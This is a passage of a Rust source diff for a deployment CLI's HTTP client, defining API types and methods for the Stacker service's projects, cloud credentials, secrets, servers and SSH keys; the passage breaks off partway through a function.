+#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MarketplaceTemplate { + pub id: Option, + pub slug: String, + pub name: String, + pub description: Option, + pub category_code: Option, + #[serde(default)] + pub tags: Vec, + pub status: Option, + pub stack_definition: Option, +} + +/// Marketplace template info as returned by `/api/templates/mine` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MarketplaceTemplateInfo { + pub id: String, + pub name: String, + pub slug: String, + #[serde(default)] + pub status: String, + pub short_description: Option, + pub price: Option, + pub billing_cycle: Option, + pub version: Option, + pub created_at: Option, + pub updated_at: Option, + pub approved_at: Option, + pub review_reason: Option, +} + +/// Review history entry +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct MarketplaceReviewInfo { + pub id: String, + pub template_id: String, + pub reviewer_user_id: Option, + pub decision: String, + pub review_reason: Option, + pub submitted_at: Option, + pub reviewed_at: Option, + pub security_checklist: Option, +} + +/// Deploy response from `/project/{id}/deploy` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DeployResponse { + pub id: Option, + #[serde(rename = "_status")] + pub status: Option, + pub msg: Option, + pub meta: Option, +} + +/// Deployment status info from `/api/v1/deployments/{id}` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct DeploymentStatusInfo { + pub id: i32, + pub project_id: i32, + pub deployment_hash: String, + pub status: String, + /// Human-readable status/error message from the deployment pipeline. + pub status_message: Option, + pub created_at: String, + pub updated_at: String, +} + +/// Pipe template info from `/api/v1/pipes/templates` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PipeTemplateInfo { + pub id: String, + pub name: String, + #[serde(default)] + pub description: Option, + pub source_app_type: String, + pub source_endpoint: serde_json::Value, + pub target_app_type: String, + pub target_endpoint: serde_json::Value, + #[serde(default)] + pub target_external_url: Option, + pub field_mapping: serde_json::Value, + #[serde(default)] + pub config: Option, + #[serde(default)] + pub is_public: Option, + pub created_by: String, + pub created_at: String, + pub updated_at: String, +} + +/// Pipe instance info from `/api/v1/pipes/instances` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PipeInstanceInfo { + pub id: String, + #[serde(default)] + pub template_id: Option, + pub deployment_hash: String, + #[serde(default)] + pub source_adapter: Option, + pub source_container: String, + #[serde(default)] + pub target_adapter: Option, + #[serde(default)] + pub target_container: Option, + #[serde(default)] + pub target_url: Option, + #[serde(default)] + pub field_mapping_override: Option, + #[serde(default)] + pub config_override: Option, + pub status: String, + #[serde(default)] + pub last_triggered_at: Option, + #[serde(default)] + pub trigger_count: i64, + #[serde(default)] + pub error_count: i64, + pub created_by: String, + pub created_at: String, + pub updated_at: String, +} + +/// Pipe execution info from `/api/v1/pipes/executions` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PipeExecutionInfo { + pub id: String, + pub pipe_instance_id: String, + pub deployment_hash: String, + pub trigger_type: String, + pub status: String, + #[serde(default)] + pub source_data: Option, + #[serde(default)] + pub mapped_data: Option, + #[serde(default)] + pub target_response: Option, + #[serde(default)] + pub error: Option, + #[serde(default)] + pub duration_ms: Option, + #[serde(default)] + pub replay_of: Option, + pub created_by: String, + pub started_at: String, + #[serde(default)] + pub completed_at: Option, +} + +/// Replay response from `/api/v1/pipes/executions/{id}/replay` +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct PipeReplayResponse { + pub execution_id: String, + pub replay_of: String, + #[serde(default)] + pub command_id: Option, + pub status: String, +} + +/// Request body for creating a pipe template +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CreatePipeTemplateApiRequest { + pub name: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub description: Option, + pub source_app_type: String, + pub source_endpoint: serde_json::Value, + pub target_app_type: String, + pub target_endpoint: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_external_url: Option, + pub field_mapping: serde_json::Value, + #[serde(skip_serializing_if = "Option::is_none")] + pub config: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub is_public: Option, +} + +/// Request body for creating a pipe instance +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct CreatePipeInstanceApiRequest { + #[serde(skip_serializing_if = "Option::is_none")] + pub deployment_hash: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub source_adapter: Option, + pub source_container: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_adapter: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_container: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub target_url: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub template_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub field_mapping_override: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub config_override: Option, +} + +/// Request body for deploying (promoting) a local pipe to remote +#[derive(Debug, Serialize)] +pub struct DeployPipeApiRequest { + pub deployment_hash: String, +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// StackerClient — HTTP client for the Stacker server +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +pub struct StackerClient { + base_url: String, + token: String, + target: DeployTarget, + http: reqwest::Client, +} + +impl StackerClient { + pub fn new(base_url: &str, token: &str) -> Self { + Self::new_for_target(base_url, token, DeployTarget::Cloud) + } + + pub fn new_for_target(base_url: &str, token: &str, target: DeployTarget) -> Self { + let http = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(30)) + .build() + .expect("Failed to create HTTP client"); + Self { + base_url: base_url.trim_end_matches('/').to_string(), + token: token.to_string(), + target, + http, + } + } + + fn project_endpoint_candidates(&self, suffix: &str) -> [String; 2] { + [ + format!("{}/api/v1/project{}", self.base_url, suffix), + format!("{}/project{}", self.base_url, suffix), + ] + } + + async fn send_project_request( + &self, + method: reqwest::Method, + suffix: &str, + body: Option<&serde_json::Value>, + action_label: &str, + ) -> Result { + let mut last_response = None; + + for url in self.project_endpoint_candidates(suffix) { + let mut request = self + .http + .request(method.clone(), &url) + .bearer_auth(&self.token); + if let Some(payload) = body { + request = request.json(payload); + } + + let resp = request.send().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().is_success() { + return Ok(resp); + } + + last_response = Some(resp); + } + + last_response.ok_or_else(|| CliError::DeployFailed { + target: self.target.clone(), + reason: format!( + "Stacker server {} failed: project endpoints were not reachable", + action_label + ), + }) + } + + async fn send_server_request( + &self, + method: reqwest::Method, + suffix: &str, + body: Option<&serde_json::Value>, + action_label: &str, + ) -> Result { + let url = format!("{}/server{}", self.base_url, suffix); + let mut request = self.http.request(method, &url).bearer_auth(&self.token); + if let Some(payload) = body { + request = request.json(payload); + } + + request.send().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server {} failed: {}", action_label, e), + }) + } + + pub async fn resolve_handoff( + base_url: &str, + token: &str, + ) -> Result { + let http = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(30)) + .build() + .expect("Failed to create HTTP client"); + let url = format!("{}/api/v1/handoff/resolve", base_url.trim_end_matches('/')); + let resp = http + .post(&url) + .json(&DeploymentHandoffResolveRequest { + token: token.to_string(), + }) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + "Stacker handoff resolve failed", + "POST /api/v1/handoff/resolve", + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Stacker handoff response did not include payload".to_string(), + }) + } + + // ── Projects ───────────────────────────────────── + + /// List all projects for the authenticated user. + pub async fn list_projects(&self) -> Result, CliError> { + let resp = self + .send_project_request(reqwest::Method::GET, "", None, "GET /project") + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure("GET /project", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Find a project by name (case-insensitive). + pub async fn find_project_by_name(&self, name: &str) -> Result, CliError> { + let projects = self.list_projects().await?; + let lower = name.to_lowercase(); + Ok(projects + .into_iter() + .find(|p| p.name.to_lowercase() == lower)) + } + + pub async fn find_project(&self, reference: &str) -> Result, CliError> { + let projects = self.list_projects().await?; + let lower = reference.to_lowercase(); + Ok(projects.into_iter().find(|project| { + project.id.to_string() == reference || project.name.to_lowercase() == lower + })) + } + + /// List all apps for a project owned by the authenticated user. + pub async fn list_project_apps( + &self, + project_id: i32, + ) -> Result, CliError> { + let resp = self + .send_project_request( + reqwest::Method::GET, + &format!("/{}/apps", project_id), + None, + "GET /project/{id}/apps", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + if let Some(error) = parse_typed_error_response(&body) { + return Err(error.into()); + } + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /project/{project_id}/apps"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Create or update one project app target. + pub async fn upsert_project_app( + &self, + project_id: i32, + request: &ProjectAppRegistrationRequest, + ) -> Result { + let body = + serde_json::to_value(request).map_err(|e| CliError::ConfigValidation(e.to_string()))?; + let resp = self + .send_project_request( + reqwest::Method::POST, + &format!("/{}/apps", project_id), + Some(&body), + "POST /project/{id}/apps", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target, + reason: stacker_api_failure( + &format!("POST /project/{project_id}/apps"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target, + reason: "Stacker server did not return a project app".to_string(), + }) + } + + /// Delete one project app target by exact code. + pub async fn delete_project_app( + &self, + project_id: i32, + app_code: &str, + deployment_hash: Option<&str>, + ) -> Result<(), CliError> { + let suffix = if let Some(hash) = deployment_hash.filter(|value| !value.trim().is_empty()) { + format!( + "/{}/apps/{}?deployment_hash={}", + project_id, + app_code, + urlencoding::encode(hash) + ) + } else { + format!("/{}/apps/{}", project_id, app_code) + }; + + let resp = self + .send_project_request( + reqwest::Method::DELETE, + &suffix, + None, + "DELETE /project/{id}/apps/{code}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + if let Some(error) = parse_typed_error_response(&body) { + return Err(error.into()); + } + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("DELETE /project/{project_id}/apps/{app_code}"), + status, + &body, + ), + }); + } + + Ok(()) + } + + // ── Deployments ─────────────────────────────────── + + /// List deployments for the authenticated user. + pub async fn list_deployments( + &self, + project_id: Option, + limit: Option, + ) -> Result, CliError> { + let url = format!("{}/api/v1/deployments", self.base_url); + let mut req = self.http.get(&url).bearer_auth(&self.token); + + if let Some(pid) = project_id { + req = req.query(&[("project_id", pid)]); + } + if let Some(limit) = limit { + req = req.query(&[("limit", limit)]); + } + + let resp = req.send().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure("GET /api/v1/deployments", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Create a project on the Stacker server. + pub async fn create_project( + &self, + name: &str, + metadata: serde_json::Value, + ) -> Result { + // If metadata already has "custom" key (e.g. from build_project_body), + // use it directly. Otherwise, wrap in a default structure. + let body = if metadata.get("custom").is_some() { + // Ensure custom_stack_code is set to the project name + let mut body = metadata; + if let Some(custom) = body.get_mut("custom").and_then(|c| c.as_object_mut()) { + custom + .entry("custom_stack_code") + .or_insert_with(|| serde_json::json!(name)); + } + body + } else { + let payload = serde_json::json!({ + "custom": { + "custom_stack_code": name, + "web": [], + "feature": [], + "service": [], + } + }); + + // Merge metadata if provided + if metadata.is_object() { + let mut base = payload; + if let Some(obj) = base.as_object_mut() { + if let Some(meta_obj) = metadata.as_object() { + for (k, v) in meta_obj { + obj.insert(k.clone(), v.clone()); + } + } + } + base + } else { + payload + } + }; + + let resp = self + .send_project_request(reqwest::Method::POST, "", Some(&body), "POST /project") + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure("POST /project", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target.clone(), + reason: "Stacker server created project but returned no item".to_string(), + }) + } + + /// Update an existing project's metadata on the Stacker server. + pub async fn update_project( + &self, + project_id: i32, + body: serde_json::Value, + ) -> Result { + let resp = self + .send_project_request( + reqwest::Method::PUT, + &format!("/{}", project_id), + Some(&body), + "PUT /project/{id}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure(&format!("PUT /project/{project_id}"), status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target.clone(), + reason: "Stacker server updated project but returned no item".to_string(), + }) + } + + // ── Cloud credentials ──────────────────────────── + + /// List all saved cloud credentials for the authenticated user. + pub async fn list_clouds(&self) -> Result, CliError> { + let url = format!("{}/cloud", self.base_url); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure("GET /cloud", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Find saved cloud credentials by provider name (e.g. "hetzner", "digital_ocean"). + pub async fn find_cloud_by_provider( + &self, + provider: &str, + ) -> Result, CliError> { + let clouds = self.list_clouds().await?; + let lower = provider.to_lowercase(); + Ok(clouds + .into_iter() + .find(|c| c.provider.to_lowercase() == lower)) + } + + /// Find saved cloud credentials by name (e.g. "my-hetzner", "htz-4"). + pub async fn find_cloud_by_name(&self, name: &str) -> Result, CliError> { + let clouds = self.list_clouds().await?; + let lower = name.to_lowercase(); + Ok(clouds.into_iter().find(|c| c.name.to_lowercase() == lower)) + } + + /// Find saved cloud credentials by ID. + pub async fn get_cloud(&self, cloud_id: i32) -> Result, CliError> { + let url = format!("{}/cloud/{}", self.base_url, cloud_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure(&format!("GET /cloud/{cloud_id}"), status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + /// Save cloud credentials to the Stacker server. + /// If credentials already exist for the provider, updates the existing record. + pub async fn save_cloud( + &self, + provider: &str, + cloud_token: Option<&str>, + cloud_key: Option<&str>, + cloud_secret: Option<&str>, + ) -> Result { + // Check if credentials already exist for this provider — update instead of insert + if let Some(existing) = self.find_cloud_by_provider(provider).await? { + return self + .update_cloud( + existing.id, + provider, + &existing.name, + cloud_token, + cloud_key, + cloud_secret, + ) + .await; + } + self.save_cloud_with_name(provider, None, cloud_token, cloud_key, cloud_secret) + .await + } + + /// Update existing cloud credentials by id. + pub async fn update_cloud( + &self, + id: i32, + provider: &str, + name: &str, + cloud_token: Option<&str>, + cloud_key: Option<&str>, + cloud_secret: Option<&str>, + ) -> Result { + let url = format!("{}/cloud/{}", self.base_url, id); + + let mut payload = serde_json::json!({ + "provider": provider, + "name": name, + "save_token": true, + }); + + if let Some(obj) = payload.as_object_mut() { + if let Some(t) = cloud_token { + obj.insert( + "cloud_token".to_string(), + serde_json::Value::String(t.to_string()), + ); + } + if let Some(k) = cloud_key { + obj.insert( + "cloud_key".to_string(), + serde_json::Value::String(k.to_string()), + ); + } + if let Some(s) = cloud_secret { + obj.insert( + "cloud_secret".to_string(), + serde_json::Value::String(s.to_string()), + ); + } + } + + let resp = self + .http + .put(&url) + .bearer_auth(&self.token) + .json(&payload) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure(&format!("PUT /cloud/{id}"), status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Stacker server updated cloud but returned no item".to_string(), + }) + } + + /// Save cloud credentials with an optional name. + pub async fn save_cloud_with_name( + &self, + provider: &str, + name: Option<&str>, + cloud_token: Option<&str>, + cloud_key: Option<&str>, + cloud_secret: Option<&str>, + ) -> Result { + let url = format!("{}/cloud", self.base_url); + + let mut payload = serde_json::json!({ + "provider": provider, + "save_token": true, + }); + + if let Some(obj) = payload.as_object_mut() { + if let Some(n) = name { + obj.insert("name".to_string(), serde_json::Value::String(n.to_string())); + } + if let Some(t) = cloud_token { + obj.insert( + "cloud_token".to_string(), + serde_json::Value::String(t.to_string()), + ); + } + if let Some(k) = cloud_key { + obj.insert( + "cloud_key".to_string(), + serde_json::Value::String(k.to_string()), + ); + } + if let Some(s) = cloud_secret { + obj.insert( + "cloud_secret".to_string(), + serde_json::Value::String(s.to_string()), + ); + } + } + + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .json(&payload) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure("POST /cloud", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Stacker server saved cloud but returned no item".to_string(), + }) + } + + // ── Servers ────────────────────────────────────── + + /// List all servers for the authenticated user. + pub async fn list_servers(&self) -> Result, CliError> { + let url = format!("{}/server", self.base_url); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure("GET /server", status, &body), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + /// Find a server by name (case-insensitive). + pub async fn find_server_by_name(&self, name: &str) -> Result, CliError> { + let servers = self.list_servers().await?; + let lower = name.to_lowercase(); + Ok(servers.into_iter().find(|s| { + s.name + .as_deref() + .map(|n| n.to_lowercase() == lower) + .unwrap_or(false) + })) + } + + pub async fn get_service_secret_metadata( + &self, + project_id: i32, + app_code: &str, + name: &str, + ) -> Result, CliError> { + let resp = self + .send_project_request( + reqwest::Method::GET, + &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name), + None, + "GET /project/{id}/apps/{code}/secrets/{name}", + ) + .await?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /project/{project_id}/apps/{app_code}/secrets/{name}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + pub async fn list_service_secrets( + &self, + project_id: i32, + app_code: &str, + ) -> Result, CliError> { + let resp = self + .send_project_request( + reqwest::Method::GET, + &format!("/{}/apps/{}/secrets", project_id, app_code), + None, + "GET /project/{id}/apps/{code}/secrets", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /project/{project_id}/apps/{app_code}/secrets"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + pub async fn set_service_secret( + &self, + project_id: i32, + app_code: &str, + name: &str, + value: &str, + ) -> Result { + let body = serde_json::json!({ "value": value }); + let resp = self + .send_project_request( + reqwest::Method::PUT, + &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name), + Some(&body), + "PUT /project/{id}/apps/{code}/secrets/{name}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("PUT /project/{project_id}/apps/{app_code}/secrets/{name}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target.clone(), + reason: "Stacker server saved secret but returned no item".to_string(), + }) + } + + pub async fn delete_service_secret( + &self, + project_id: i32, + app_code: &str, + name: &str, + ) -> Result<(), CliError> { + let resp = self + .send_project_request( + reqwest::Method::DELETE, + &format!("/{}/apps/{}/secrets/{}", project_id, app_code, name), + None, + "DELETE /project/{id}/apps/{code}/secrets/{name}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("DELETE /project/{project_id}/apps/{app_code}/secrets/{name}"), + status, + &body, + ), + }); + } + + Ok(()) + } + + pub async fn get_server_secret_metadata( + &self, + server_id: i32, + name: &str, + ) -> Result, CliError> { + let resp = self + .send_server_request( + reqwest::Method::GET, + &format!("/{}/secrets/{}", server_id, name), + None, + "GET /server/{id}/secrets/{name}", + ) + .await?; + + if resp.status().as_u16() == 404 { + return Ok(None); + } + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /server/{server_id}/secrets/{name}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.item) + } + + pub async fn list_server_secrets( + &self, + server_id: i32, + ) -> Result, CliError> { + let resp = self + .send_server_request( + reqwest::Method::GET, + &format!("/{}/secrets", server_id), + None, + "GET /server/{id}/secrets", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("GET /server/{server_id}/secrets"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + Ok(api.list.unwrap_or_default()) + } + + pub async fn set_server_secret( + &self, + server_id: i32, + name: &str, + value: &str, + ) -> Result { + let body = serde_json::json!({ "value": value }); + let resp = self + .send_server_request( + reqwest::Method::PUT, + &format!("/{}/secrets/{}", server_id, name), + Some(&body), + "PUT /server/{id}/secrets/{name}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("PUT /server/{server_id}/secrets/{name}"), + status, + &body, + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: self.target.clone(), + reason: "Stacker server saved secret but returned no item".to_string(), + }) + } + + pub async fn delete_server_secret(&self, server_id: i32, name: &str) -> Result<(), CliError> { + let resp = self + .send_server_request( + reqwest::Method::DELETE, + &format!("/{}/secrets/{}", server_id, name), + None, + "DELETE /server/{id}/secrets/{name}", + ) + .await?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: self.target.clone(), + reason: stacker_api_failure( + &format!("DELETE /server/{server_id}/secrets/{name}"), + status, + &body, + ), + }); + } + + Ok(()) + } + + // ── SSH Keys ───────────────────────────────────── + + /// Generate a new SSH key pair for a server (stored in Vault). + pub async fn generate_ssh_key(&self, server_id: i32) -> Result { + let url = format!("{}/server/{}/ssh-key/generate", self.base_url, server_id); + let resp = self + .http + .post(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + &format!("SSH key generation failed for server {server_id}"), + &format!("POST /server/{server_id}/ssh-key/generate"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: format!("Invalid response from Stacker server: {}", e), + })?; + + api.item.ok_or_else(|| CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: "Server generated key but returned no item".to_string(), + }) + } + + /// Get the public SSH key for a server from Vault. + pub async fn get_ssh_public_key(&self, server_id: i32) -> Result { + let url = format!("{}/server/{}/ssh-key/public", self.base_url, server_id); + let resp = self + .http + .get(&url) + .bearer_auth(&self.token) + .send() + .await + .map_err(|e| CliError::DeployFailed { + target: self.target.clone(), + reason: format!("Stacker server unreachable: {}", e), + })?; + + if !resp.status().is_success() { + let status = resp.status().as_u16(); + let body = resp.text().await.unwrap_or_default(); + return Err(CliError::DeployFailed { + target: crate::cli::config_parser::DeployTarget::Cloud, + reason: stacker_api_failure_with_message( + &format!("Failed to fetch SSH public key for server {server_id}"), + &format!("GET /server/{server_id}/ssh-key/public"), + status, + &body, + cli_debug_enabled(), + ), + }); + } + + let api: ApiResponse = + resp.json().await.map_err(|e| CliError::DeployFailed { + target: 